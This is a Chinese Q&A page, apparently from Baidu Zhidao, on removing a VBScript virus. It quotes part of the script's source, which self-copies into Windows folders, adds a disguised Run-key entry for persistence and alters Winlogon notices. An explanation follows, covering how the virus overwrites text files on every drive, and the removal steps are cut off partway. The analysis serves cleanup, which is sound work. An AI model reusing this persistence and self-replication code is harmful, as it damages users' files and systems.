清除VBS病毒

来源:百度知道 编辑:UC知道 时间:2024/06/20 20:57:41
'Ycosxhack [Y.X.H]
on error resume next
set fso=createobject("scripting.filesystemobject")
randomize
name=int(rnd*10000000+1)
temp=name
for i=0 to 2
set dir=fso.getspecialfolder(i)
fso.getfile(wscript.scriptfullname).copy(dir&"\"&name&".vbs")
next
'--------------------------------------------------------
set reg=createobject("wscript.shell")
reg.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ctfmon","c:\windows\system32\"&temp&".vbs"
reg.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","hack"
reg.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","sorry!!!"
reg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Wind

这个vbs首先获取windows的三个特殊文件夹,默认情况下分别是
c:\windows
c:\windows\system32
c:\documents and settings\%username%\local settings\temp
然后把自己拷贝到这三个文件夹下,文件名是随机六位数(每次开机都会变化)

然后在注册表里添加如下键值
HKEY_LOCAL_MACHINE\OFTWARE\Microsoft\Windows\CurrentVersion\Run
"ctfmon"="c:\windows\system32\随机7位数文件名.vbs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon
"LegalNoticeCaption"="hack"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon
"LegalNoticeText"="sorry!!!" (黑了人还道歉)..

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
"NoRun"=1 (禁止开始菜单)

然后扫描所有硬盘,把所有txt替换成自己的内容,不过不是替换之后重命名,而是先更改内容,复制,然后删除原txt

解决方法:
1.找到vbs的名称
开始菜单-运行-regedit,顺次打开
HKEY_LOCA